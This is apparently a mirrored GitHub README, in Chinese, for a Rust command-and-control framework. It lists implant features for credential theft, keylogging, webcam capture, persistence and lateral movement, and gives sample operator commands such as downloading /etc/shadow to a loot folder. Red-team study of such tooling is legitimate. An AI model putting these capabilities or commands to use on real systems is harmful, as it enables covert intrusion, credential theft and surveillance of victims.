Real-Fruit-Snacks/Kraken
GitHub: Real-Fruit-Snacks/Kraken
一款以 OPSEC 为首要设计原则的 Rust 编写的命令与控制(C2)框架,支持模块化植入体、网状网络和多传输协议。
Stars: 0 | Forks: 0



**以OPSEC为首要考量的C2框架,采用Rust构建。**
研究级命令与控制框架,包含X25519密钥交换、AES-256-GCM加密、模块化植入体架构、网状网络以及CLI操作员界面。九 crate 的 Cargo 工作区,具有明确的 API 边界。
## 快速开始
**前置条件:** Rust 1.75+、protoc 3.20+、SQLite 开发库
```
git clone https://github.com/Real-Fruit-Snacks/Kraken.git
cd Kraken
just setup && just proto && just build
```
**启动团队服务器:**
```
just server
# 监听 0.0.0.0:50051 (gRPC) 和 0.0.0.0:443 (HTTPS)
```
**连接操作员 CLI:**
```
just operator -- --server 127.0.0.1:50051
```
**使用植入体模拟器测试:**
```
just sim -- --server https://127.0.0.1:443 --interval 5
```
## 功能特性
### 加密通信
使用 HKDF-SHA256 密钥派生的 X25519 ECDH 密钥交换。带有每条消息随机数和重放保护的 AES-256-GCM 批量加密。
```
# 密钥在编译时固化 — 运行时看不到密钥协商
just implant-linux-x64
```
### 多传输协议
HTTP/HTTPS、TCP、SMB 和 DNS,支持自动回退链。传输协议可在编译时或运行时选择。
```
just implant-linux-x64 # HTTPS default
just implant-windows-x64 # Cross-compile for Windows
```
### 模块化植入体
最小化加固核心(约 50KB),运行时加载能力模块。包含 Shell、文件操作、SOCKS 代理、网状中继和 BOF 执行。
```
kraken> use shell
kraken> shell whoami
kraken> use file
kraken> download /etc/shadow ./loot/
```
### 网状网络
对等发现、中继路由和拓扑计算。当直接 C2 被阻止时,植入体之间可相互通信。
```
kraken> mesh topology
kraken> mesh route implant-3 via implant-1,implant-2
```
### 操作员 CLI
命令行操作员界面。植入体管理、任务分发、结构化结果和会话跟踪。
```
just operator -- --server teamserver:50051
# Tab: 切换面板 | Enter: 交互 | /: 搜索 | q: 退出
```
### BOF 兼容性
用于 Beacon Object File 生态系统的 Rust COFF 加载器。无需修改即可运行现有 BOF。
```
kraken> bof load ./SA-whoami.o
kraken> bof exec SA-whoami
```
### 任务系统
带结构化结果的任务分发。在植入体网络中排队、跟踪和导出。
```
kraken> task queue shell "net user /domain"
kraken> task status
kraken> task export --format json
```
### 审计日志
每项操作的追加式结构化日志。操作员操作、植入体事件和任务结果,包含时间戳和会话上下文。
## 能力
### 核心操作
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `shell` | 执行 Shell 命令 | ✓ | ✓ |
| `sleep` | 设置回调间隔 | ✓ | ✓ |
| `cd` / `pwd` / `ls` | 目录导航 | ✓ | ✓ |
| `upload` / `download` | 文件传输(>10MB 分块传输) | ✓ | ✓ |
### 侦察
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `env` | 系统信息、网络信息、环境变量、whoami | ✓ | ✓ |
| `ps` | 进程列表和树形视图 | ✓ | ✓ |
| `scan` | 端口扫描、ping 扫描、共享枚举 | ✓ | ✓ |
| `ad` | AD 枚举、Kerberoasting、AS-REP roasting | ✓ | ✓ |
| `reg` | Windows 注册表操作 | ✓ | ✓ |
| `svc` | Windows 服务管理 | ✓ | ✓ |
### 凭证获取
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `creds` | SAM、LSASS、LSA 密钥、DPAPI、凭据库 | ✓ | ✓ |
| `browser` | 浏览器密码、Cookie、历史记录 | ✓ | ✓ |
| `wifi` | WiFi 凭据 | ✓ | ✓ |
| `token` | 令牌窃取、模拟、权限启用 | ✓ | ✓ |
### 收集
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `keylog` | 键盘记录器 启动/停止/导出 | ✓ | ✓ |
| `clipboard` | 剪贴板 获取/设置/监控 | ✓ | ✓ |
| `screenshot` | 单次屏幕截图 | ✓ | ✓ |
| `screenshot-stream` | 持续屏幕截图 | ✓ | ✓ |
| `audio` | 音频捕获 | ✓ | ✓ |
| `webcam` | 摄像头捕获 | ✓ | ✓ |
| `usb` | USB 设备监控 | ✓ | ✓ |
### 横向移动与持久化
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `lateral` | PSExec、WMI、DCOM、WinRM、计划任务 | ✓ | ✓ |
| `persist` | 7 种持久化方法(注册表、schtask、服务、启动项、WMI、登录脚本) | ✓ | ✓ |
| `inject` | 9 种注入技术 | ✓ | ✓ |
| `rdp` | RDP 会话劫持 | ✓ | ✓ |
| `ntlm-relay` | NTLM 中继设置 | ✓ | ✓ |
### 网络
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `mesh` | 点对点网状网络(TCP/SMB) | ✓ | ✓ |
| `socks` | SOCKS5 代理 | ✓ | ✓ |
| `portfwd` | 端口转发(正向/反向) | ✓ | ✓ |
### 模块
| 命令 | 描述 | CLI | Web UI |
|---------|-------------|-----|--------|
| `bof` | Beacon Object File 执行 | ✓ | ✓ |
| `modules` | 动态模块加载/卸载 | ✓ | ✓ |
## 接口
- **CLI 操作员** — 功能完善的终端界面,支持命令补全、命令历史和 Vi 模式
- **Web UI** — 基于 React 的仪表板,包含 25+ 会话标签页、实时协作和 OPSEC 风险评估
- **15 个 gRPC 服务** — 所有操作的完整 API 覆盖
## 架构
```
crates/
├── common/ # Shared traits (Module, Transport, CryptoProvider), ID types
├── crypto/ # X25519 ECDH, AES-256-GCM, HKDF-SHA256, Ed25519
├── protocol/ # Protobuf types and serialization (tonic/prost)
├── config/ # Compile-time configuration baking
├── db/ # SQLite via sqlx (PostgreSQL migration path)
├── server/ # Teamserver: gRPC services, HTTP listeners, audit
├── operator/ # CLI: command interface, session management
├── implant-core/ # Minimal kernel: check-in, dispatch, transport chains
└── implant-sim/ # Simulator for testing without real targets
```
三层架构:操作员(CLI + gRPC 客户端)连接团队服务器(gRPC + HTTP 监听器 + SQLite),团队服务器管理植入体(最小核心 + 模块)。所有通信端到端加密。
## 平台支持
| | Linux | Windows | macOS |
|---|---|---|---|
| 团队服务器 | 完整 | 完整 | 完整 |
| 操作员 CLI | 完整 | 完整 | 完整 |
| 植入体 | 完整 | 完整 | 计划中 |
| 交叉编译 | 原生 | MinGW | — |
## 安全
请通过 [GitHub Security Advisories](https://github.com/Real-Fruit-Snacks/Kraken/security/advisories/new) 报告漏洞。请参阅 [SECURITY.md](SECURITY.md) 了解完整政策。
Kraken **不包含**:
- 勒索软件、擦除器或破坏性功能
- 供应链攻击工具
- 自动大规模利用
所有植入体配置均在编译时确定 — 无命令行参数、无环境变量查找、无运行时痕迹。
## 许可证
[MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:AES-256-GCM, BOF, C2框架, DNS隧道, ECDH, gRPC, HKDF-SHA256, HTTPS隧道, HTTP工具, HTTP隧道, IP 地址批量处理, OPSEC, PE 加载器, Python工具, Rust, SMB隧道, TCP隧道, X25519, 加密通信, 匿名网络, 可视化界面, 后门, 命令控制, 多传输协议, 安全学习资源, 密钥交换, 数据采集, 无线安全, 植入物, 模块化架构, 欺骗防御, 网格网络, 网络流量审计, 通知系统, 隐匿通信